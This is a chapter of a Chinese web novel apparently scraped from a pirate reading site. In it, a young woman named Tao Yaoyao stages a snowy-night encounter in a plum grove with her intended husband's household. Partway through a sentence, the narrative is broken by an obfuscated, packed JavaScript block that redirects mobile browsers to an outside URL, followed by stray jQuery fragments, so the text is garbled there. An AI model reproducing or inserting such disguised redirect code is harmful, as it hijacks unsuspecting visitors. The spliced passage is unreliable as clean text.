默认冷灰
24号文字
方正启体

2. 招惹二叔

作者:yoyo鹿本书字数:K更新时间:
    屋内银丝碳燃得旺,温热得与雪夜似在两个天地。


    翠竹见姑娘起身,拿起狐裘正欲给她系上,被陶夭夭阻住,“软玉温香,英雄折腰。穿得这样严实,岂不是糟蹋了这雪、这琴、这清夜。”


    不仅不穿,陶夭夭一个个解开盘扣,将厚厚的锦袄脱了下来,直脱到身上只剩一件梅花红色寝衣。


    翠竹不懂陶夭夭所说是何、所做为何,只担心,“姑娘,外面冰天雪地,莫要伤了身体。”


    一旁的陈婆子却频频颔首,“没想到娘子竟如此懂男人心,在这深闺后院,拿捏了男人心便赢了所有。老爷夫人慧眼,将娘子送来,老爷定能仰仗娘子和燕府平步青云。”


    陶夭夭眉目间只有笑意,对陈婆子的话毫不在意,披上狐裘,将周身裹得严实,由翠竹撑伞,跨出院门,朝梅花园走去。


    ——


    不见月光的雪夜,满地银装素裹,亮如白昼。一路提灯过垂花门,两人绕过数道回廊。他们对府里并不熟悉,翠竹观察着周遭,疑惑,


    “燕府看着不算特别贵胄,如何让陶府那样把女儿巴巴地送来?”


    陶夭夭浅笑,犹如寒风里冷艳的红梅,“燕府确实不算贵胄,燕府大老爷不过是一个区区左谏议大夫。凭借京官的名头,四处求娶高门贵女,以联姻提高自己的身价。”


    翠竹更想不通了,“那为什么又会娶小小知州的女儿?”且陶家不算要塞名城的知州,从五品的地方官,本就比京官低,何况左谏议大夫是从四品。


    “此事确实反常,平日里你旁敲侧击问问府上的丫鬟婆子。”陶夭夭轻声嘱咐。


    追随琴声,两人穿过一片竹林,一片粉淡的梅树林跃然眼前,冬梅傲立枝头,似定格在雪白绢布上的水墨丹青,大自然的妙笔。


    脚下鹿皮靴踩在雪上“吱吱”作响,她特意放轻了脚步,怕惊了抚琴之人,搅乱了这份精心设计的偶遇。


    琴声越发近了,似乎就在梅园中央露出飞檐的角亭里。陶夭夭在一棵古老的梅树下停住步子,折下一枝伸展出来开得正好的梅花,放在鼻尖嗅嗅,清雅淡冷的气息扑鼻而来。


    这便算是路引之物了。


    陶夭夭将手中的汤婆子递给翠竹,径自又往前走了十几步,不似方才小心翼翼,她欢快地钻进梅林,带动梅枝处的雪花簌簌坠落,染了一兜帽的雪。


    不远处抚琴的人听到响动,琴声顿了个音。传来问话声,“何人在此?”


    陶夭夭没有立即现身,而是脚步顿了两呼吸,才从硕大的梅枝下走出去。她半咬唇,眼眸半垂,尽是无措和惊恐。


    直至亭前十步远,陶夭夭才缓缓抬眸望去,瞧见不远处角亭里的男子。她不认得燕逸之,并不能完全确认是不是他。


    九思瞧见陶夭夭时吃了一惊,原以为又是盼姐儿猫过来偷听琴,原是位没见过的娘子,手里局促地捏着一枝梅花,看着年岁和打扮,很容易推断出是二爷将要过门的妻子。


    九思上前行礼,“可否是陶娘子?”见对方微微颔首,又道,“陶娘子安,二爷在此抚琴作画,陶娘子如若也想赏雪梅,不妨进来吃一盏茶暖暖身。”


    陶夭夭视线淡淡收回,心里落口气,朝九思浅浅福身回礼,“不知可会打扰二爷。我初来府上,听闻这里梅花开得艳,本想折两枝回去,打扰了二爷雅兴,还望恕罪。”


    “无碍。”九思闪开前路,做了个请的姿势。


    又穿过了两树梅花,陶夭夭跟在九思身后,若隐若现瞧见了亭内燃一炉熏香,煮一盏清茶,放一处画案,简单雅致,与这雪景红梅相得益彰。


    氤氲雾气蒙蒙,男子的的容貌看不真切,墨发铺陈,仅用一根竹簪挽起,一身宽袍纯白衣袂随动作飘飘,只觉他似是谪下天嵌的仙人。陶夭夭在这刻明白,温润如玉四个字真的是用来形容君子的。


    琴声落。


    陶夭夭随九思走进角亭,角亭四周安了雕花门窗,此时一处窗棂大开,梅园之景被方方正正的轩窗框住,别有一种诗情画意跃然纸上的意境,而书案上,刚巧画的便是窗外一树梅花傲风雪之景。


    陶夭夭观之,笔法上运用的是干湿相宜、浓淡相间的水墨技巧,梅枝以苍劲有力的线条勾勒,弯曲而不失刚劲,正如梅花在风雪中的姿态,即便环境恶劣,依然挺拔向上。


    花瓣则以轻盈的点染之法绘出,或疏或密,既有“疏影横斜水清浅”的雅致,也有“暗香浮动月黄昏”的幽远,整幅画空灵而深远。


    以画观人,作画者心志坚韧,却并不强势控局,将更多的留白和梅花的芬芳雅静展现出来,加之方才琴声悠然平静,燕逸之应是位朗月清风般的君子了。


    坐在那抚琴的男子恰到好处抬眸看过来,眉眼染上淡漠,适才清朗柔和似在寒夜里淬冰。


    “陶娘子喜欢作画?”拿捏着恰到好处的疏离。


    陶夭夭这才注意自己的视线游离,拉紧狐裘的手攥攥,盈盈福身,“叨扰二爷。我不懂画,只是看二爷所画梅花与林中梅花开得一样好。”


    “听说府上有片大梅园,虽夜深却极想来看,匆促进园不知二爷在此抚琴……”说着,嗓音一寸寸落低。


    示男以弱久了,自然成了她安身立命的习惯,男子不都喜欢女子柔柔弱弱,什么都不懂,抬头仰望的楚楚模样嘛。


    九思发觉陶夭夭的娇低,像是特别不喜欢给别人添麻烦的,不似那些贵女骄横颐指,更添了些好感。他面向燕逸之开口解释,


    “二爷,是我见陶娘子夜间赏梅,风寒,便请陶娘子进来用茶。”


    府上人尽皆知,二爷燕逸之最是随和的性子,知道陶娘子在风雪里独立,定然也会请人入亭。


    不为别的,为大奶奶辛苦张罗的又一次亲事也会如此。


    燕逸之神色从容,从琴案旁起身,骨节分明的手微扬,示意陶夭夭在他对面落座用茶。


    陶夭夭莲步轻移坐到对面的蒲垫上,再推辞便是娇作了。只是坐下后,她特意紧拢了狐裘,将里面的春光严严实实遮挡。


    燕逸之给陶夭夭添了盏热茶推过去,“燕府冷清,陶姑娘初到府上,可否习惯?”


    陶夭夭露出半截手腕放下折梅,端起茶盏,还未凑到嘴边,听见燕逸之的话,茶盏停在半空中,回道,


    “屋明几净,被褥和炭火都是新添的,虽然下了雪,一点不觉得冷。”


    陶府在江南,所以,陶夭夭猜测燕逸之话外之音,这样回答。


    燕逸之这档口,端起茶饮过一小口,“不习惯也无妨。如若不想呆在府里,我明日禀明母亲,送姑娘回家。”


    陶夭夭略有惊愕地看过来,他正低眉将茶盏放回桌上,眼中神色难辨,但听嗓音,却比这冬日落下的雪还要冷。


    琴音传心境。分明,方才的琴音里,陶夭夭听见的是春日林间的潺潺溪流,悄然奔流,没有一丝石搁险滩的阻碍,滋润着即


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142832|164561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将回春的大地,让她即使站在冰天雪地里都似有暖流从心底萌生。


    可为何说出的话竟如此冷漠决绝?!


    直白得要赶走她。


    因着出嫁的波折,她没有细问燕逸之的品行过往,陶府也好似刻意避开,只说是个好相处的,方才琴声如此,眼前之人倒不是。


    陶夭夭知道一味的柔弱也不会时时奏效。夜风微动,吹落细碎雪粒,她放下茶盏,将自己裹得更严实,像是穿上一层铠甲,


    “习惯。既然来了燕府,我便没有再想离开。”


    亭中热浪被丝丝缕缕寒风吹散,陶夭夭的唇角艰难开合,已覆上冰霜。


    冷白指节握紧茶盏碗沿,燕逸之视线凝在陶夭夭眉眼间,他看到了一丝倔强。


    他见过许多女子,她们都或多或少动过心思成为自己的妻子,可又转瞬间逃之夭夭。


    “我有过两位妻子。”他嗓音清淡,如方才缓缓流淌的琴声,诉说着自己的故事,“却又相继离开。”


    廖廖两句,故事又戛然而止在那。


    陶夭夭在认真听,可她并不在意太多,她的目的是他,又不是他。


    愿意嫁给他,只因他是燕玖的二叔,


    仅此而已。


    她刚才没听错,燕逸之是温润君子般的人物。陶夭夭也只不过是高门联姻里又一个牺牲者,无奈地接受这场安排,燕逸之无心伤她,说话也只是点到为止。


    风停的夜很静,燕逸之起身,神色恢复温和,“我送陶姑娘出梅林。”


    他脚步不疾不徐从陶夭夭身侧走过,巨大的阴影投下来又迅速离散,他与生俱来的矜贵恰当好处得展露出来,让这句话含上恰如其分的不容置疑。


    陶夭夭颔首应下跟了上去。


    时不时有梅花和雪花拂落脚下,陶夭夭其实不喜欢冬天,因为一切的因果便起源于那年的落雪天。


    那天,燕家二爷带着燕玖上门求娶。就是那场联姻,竟让她、让整个转运使府邸覆灭。


    狐裘的绳带在悄然中松动,陶夭夭特意避开小径两侧延伸出的梅枝,但不经意间,还是会将梅枝上的雪碰下。


    燕逸之有所察觉,侧首顾看着她。


    这是他本能的心慈,也是陶夭夭可以利用的弱点。


    只听“——呀”一声,意料之外地踩到雪下一块滑石,另有一枝岔出的粗壮梅枝勾住了陶夭夭身上本就摇摇欲坠的狐裘,直接将她的狐裘整个儿勾了下来,


    而她,扑在燕逸之怀中,被他接住。


    ……


    天地间一瞬宁寂。


    翠竹愣怔在原地。与此同时,月洞门外的侍卫十五也倒吸了口凉气。


    觑了眼身前颀长笔直的身影,“找了夭夭姑娘这么久,她竟然进了燕府。”原以为远在天边之人,竟近在眼前。


    一年前,主子外出,他奉命监视照看她,可谁曾想,平日行如柳丝,说话轻声细语,连蚂蚁都不敢踩,只会嘤嘤哭泣的女子,


    会通药理。


    十五现在都想不通,她被看得那么严,到底如何研究出致人迷幻的药物。


    夭夭姑娘……还真是不可貌相。


    “主子,要不要我现在就把她抓回去?”


    没有回声。


    廊下的风灯摇曳,昏黄的光拓下一片阴影,映在脸上晦暗不明。


    片刻,半身隐没在暗夜里的燕绥掀了掀眼皮,极轻地笑了一声。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)